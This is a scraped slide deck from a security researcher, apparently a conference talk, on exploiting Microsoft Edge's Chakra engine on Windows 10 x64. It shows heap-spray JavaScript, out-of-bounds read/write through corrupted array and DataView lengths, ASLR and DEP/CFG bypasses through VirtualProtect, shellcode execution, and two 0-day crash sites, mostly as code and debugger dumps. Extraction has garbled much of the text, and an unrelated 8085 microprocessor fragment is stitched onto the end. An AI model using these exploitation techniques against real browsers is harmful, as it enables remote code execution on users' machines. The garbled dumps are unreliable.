Windows 10 x64 Edge Browser 0day and exploit. exp-sky

Size: px

Start display at page:

Download "Windows 10 x64 Edge Browser 0day and exploit. exp-sky"

Gerard Moody
6 years ago
Views:

1 Windows 10 x64 Edge Browser 0day and exploit exp-sky

2 Who am i? Tencent s Xuanwu Lab The security of browser Vulnerability discovery Exploit technique

3 What to do?

4 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

5 Why? 1 Heap Spray

6 1 Heap Spray var array_1 = new Array(); for(var i=0; i<(0x1000 * num); i++) { array_1[i] = [ 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c ]; }

7 1 Heap Spray memory 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c180 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c190 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c1a0 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c1b0 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c1c0 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c1d0 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c1e0 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c1f0 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

8 1 Heap Spray - Native Int Array array head 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

9 1 Heap Spray - Native Int Array array.length 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

10 1 Heap Spray - Native Int Array p_segment 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

11 1 Heap Spray - Native Int Array 0:021> dq cb`bb76c100 array segment cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

12 1 Heap Spray - Native Int Array 0:021> dq cb`bb76c100 segment.size segment.length cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

13 1 Heap Spray

14 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

15 Why? 2 Fill Memory Read/Write

16 2 Fill Memory Read/Write Write any data?

17 2 Fill Memory Read/Write - Native Int Array array_1[0] = 0x ; array_1[0] = 0xffffffff; data < 0x ? 0:020> u poi(000002b4`4445c200) chakra!js::javascriptarray::`vftable': 0:020> dq b4`4445c b4`4445c ffe`24641cd b4`2c320f b4`4445c ` ` b4`4445c ` a b4`2c613c b4`4445c b4`2c613c ` b4`4445c a` ` a b4`4445c ` c0c0c0c`0c0c0c0c b4`4445c260 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c 0:020> dd b4`2c613c b4`2c613c a b b4`2c613c be1c b4`2c613c80 ffe00000 be13ffff 0c0c0c0c b4`2c613c90 0c0c0c0c c0c0c0c b4`2c613ca0 0c0c0c0c c0c0c0c

18 2 Fill Memory Read/Write - Native Int Array array_1[0] = 0x ; array_1[0]++;? array_1[0]--;

19 2 Fill Memory Read/Write - Native Int Array data < 0x ? array_1[0] = 0; 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c` cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

20 2 Fill Memory Read/Write - Native Int Array data < 0x ? array_1[0] = 0; array_1[0] -= 1; 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`ffffffff cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

21 2 Fill Memory Read/Write - Native Int Array array_1[0] = 0xbb76c140; [ 0x x7fffffff ] array_1[0] = 0; array_1[0] -= 1; array_1[0] -= (0xffffffff-0xbb76c140); [ 0x xffffffff ] 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

22 2 Fill Memory Read/Write - Native Int Array Out of bound Memory Read/Write

23 2 Fill Memory Read/Write - Native Int Array array.length segment.length 0:021> dq cb`bb76c100 segment.size cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c `ffffffff cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c140 ffffffff` `ffffffff cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

24 2 Fill Memory Read/Write - Native Int Array memory edit array.length segment.size segment.length out of bound memory read/write

25 2 Fill Memory Read/Write Fill Memory Read/Write?

26 2 Fill Memory Read/Write - DataView var array_buffer = new ArrayBuffer(0x10); var data_view = new DataView(array_buffer, 0, array_buffer.bytelength); 0:020> u poi( `f7b37100) chakra!js::dataview::`vftable': bytelength data_buffer 0:020> dq `f7b `f7b ffe`2470e `f `f7b ` ` `f7b ` `f79d3c `f7b ` `fccc5440

27 2 Fill Memory Read/Write - DataView NativeIntArray edit data_view.bytelength = 0xffffffff; NativeIntArray edit data_view.data_buffer.high = 0x ; NativeIntArray edit data_view.data_buffer.low = 0x ; 0:020> u poi( `f7b37100) chakra!js::dataview::`vftable': bytelength data_buffer 0:020> dq `f7b `f7b ffe`2470e `f `f7b ` ` `f7b `ffffffff `f79d3c `f7b ` `

28 2 Fill Memory Read/Write - DataView data_view.setuint32(0x , 0xffffffff, true); 0:020> u poi( `f7b37100) chakra!js::dataview::`vftable': 0:020> dq `f7b `f7b ffe`2470e `f `f7b ` ` `f7b `ffffffff `f79d3c `f7b ` ` ` ffffffff` `

29 2 Fill Memory Read/Write - DataView data = data_view.getuint32(0x , true); 0:020> u poi( `f7b37100) chakra!js::dataview::`vftable': 0:020> dq `f7b `f7b ffe`2470e `f `f7b ` ` `f7b `ffffffff `f79d3c `f7b ` ` ` ffffffff` `

30 2 Fill Memory Read/Write

31 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

32 Why? 3 Bypass ASLR

33 array_2[0] = data_view; 3 Bypass ASLR 0:020> u poi( a`0f6fc200) chakra!js::javascriptarray::`vftable': 0:020> dq a`0f6fc a`0f6fc ffe`24641cd `f7920f a`0f6fc ` ` a`0f6fc ` a a`b28dc a`0f6fc a`b28dc ` a`0f6fc a` ` a 0:020> dq a`b28dc170 //segment a`b28dc a` ` b a`b28dc ` `f7b a`b28dc `0c0c0c0c `0c0c0c0c 0:020> u poi( `f7b37100) chakra!js::dataview::`vftable': 0:020> dq `f7b `f7b ffe`2470e `f

34 2 Bypass ASLR array get array_2[0] = object; segment get object

35 3 Bypass ASLR

36 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

37 Why? 4 Bypass DEP

38 4 Bypass DEP get shell code address call VirtualProtect run shell code

39 4 Bypass DEP - CFG mov call eax, [edi] dword ptr [eax+0a4h] mov mov mov call mov call eax, [edi] esi, [eax+0a4h] ; esi = virtual function ecx, esi ds: guard_check_icall_fptr //ntdll!ldrpvalidateusercalltarget ecx, edi esi

40 4 Bypass DEP - CFG bitmap index offset : data [0x0077b960] 0x01dee58c : 0x [0x0077b964] 0x01dee590 : 0x [0x0077b968] 0x01dee594 : 0x bt : 0x &0x400!= = 0x = 0x0a = 10 function address : 0x77b x77b96450 : [ ]

41 4 Bypass DEP int Memory::SmallHeapBlockT<SmallAllocationBlockAttributes>::ClearPageHeapState (void *p_struct) { DWORD old_protect = 0; QWORD ret; } if ( p_struct->buffer ) { ret = VirtualProtect(p_struct->buffer, 0x1000, p_struct->new_protect, &old_protect); } return ret;

42 4 Bypass DEP length shell code 0:033> r rax= d rbx= fe5e2f1b0 rcx= fe5bbc020 rdx= rsi= a840 rdi= e10c6040 rip=00007ffa1e3446ee rsp= e4b440 rbp=00007ffa1e22cb33 r8= r9= e4b460 r10= r11=00007ffa1fa91908 r12=00007ffa1f1b7f20 r13= f6ebfda8 r14=00007ffa1dfb0000 r15=ffff iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b new protect ds=002b es=002b fs=0053 old gs=002b protect efl= chakra!memory::smallheapblockt<mediumallocationblockattributes>::clearpageheapstate+0x2a: 00007ffa`1e3446ee ff15ac0b1b00 call qword ptr [chakra!_imp_virtualprotect] //shell code 0:033> u rcx f`e5bbc nop

43 4 Bypass DEP 0:033>!address f`e5bbc020 Usage: <unknown> Base Address: f`e5bb0000 End Address: f`e5bbf000 Region Size: `0000f000 ( kb) State: MEM_COMMIT Protect: PAGE_READWRITE 0:033>!address f`e5bbc020 Usage: <unknown> Base Address: f`e5bb0000 End Address: f`e5bbf000 Region Size: `0000f000 ( kb) State: MEM_COMMIT Protect: PAGE_EXECUTE_READWRITE call VirtuaProtect

44 4 Bypass DEP

45 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

46 5 Run Shell Code 0:033> g Breakpoint 2 hit f`e5bbc nop 0:033> g

47 0day

48 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

49 6 0day 1 0:009> r rax= rbx= rcx= rdx=000001b39fef82c0 rsi= rdi= rip=00007ffe7a34eae9 rsp= rbp= f1 r8=000001bba4e7fd18 r9=000001b39fe943d0 r10=00007ffe7634ca90 r11= e0 r12=000001bba19afde0 r13=00007ffe92fe77d0 r14=00007ffe92fe77d0 r15= c iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl= cmp byte ptr [rcx],0 ds: ` =?? or dword ptr [rbx+60h], 0FFFFFFFFh //memory write

50 6 0day 1 memory edit NativeIntArray size out of bound memory read/write fill memory read/write

51 6 No1. 0day demo

52 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

53 7 0day 2 0:010> r rax= rbx= c4a8fcef0 rcx= d9c30340 rdx= rsi= rdi= c4a8fca00 rip=00007ffd1d2ce6b1 rsp= c4a8fd130 rbp= r8= d9ce5052 r9= d9ce5052 r10= d9ce5050 r11= c4a8fd040 r12= r13= d2 r14= d999dae0 r15= ee iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl= mov rsi,qword ptr [rax] ds: ` mov dword ptr [rsi+30h],1 //memory write

54 7 0day 2 memory edit NativeIntArray segment pointer out of bound memory read/write fill memory read/write

55 7 No2. 0day demo

56 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 No.1 0day 7 No.2 0day 8 Q&A

57 Windows 10 x64 Edge Browser 0day and exploit Q&A

EE 6502 UNIT-II PROGRAMMING OF 8085 MICROPROCESSOR. Prepared by S.Sayeekumar, AP/RMDEEE

EE 6502 UNIT-II PROGRAMMING OF 8085 MICROPROCESSOR Prepared by S.Sayeekumar, AP/RMDEEE 7 12 15 PSW (Program Status word) - Flag unaffected * affected 0 reset 1 set S Sign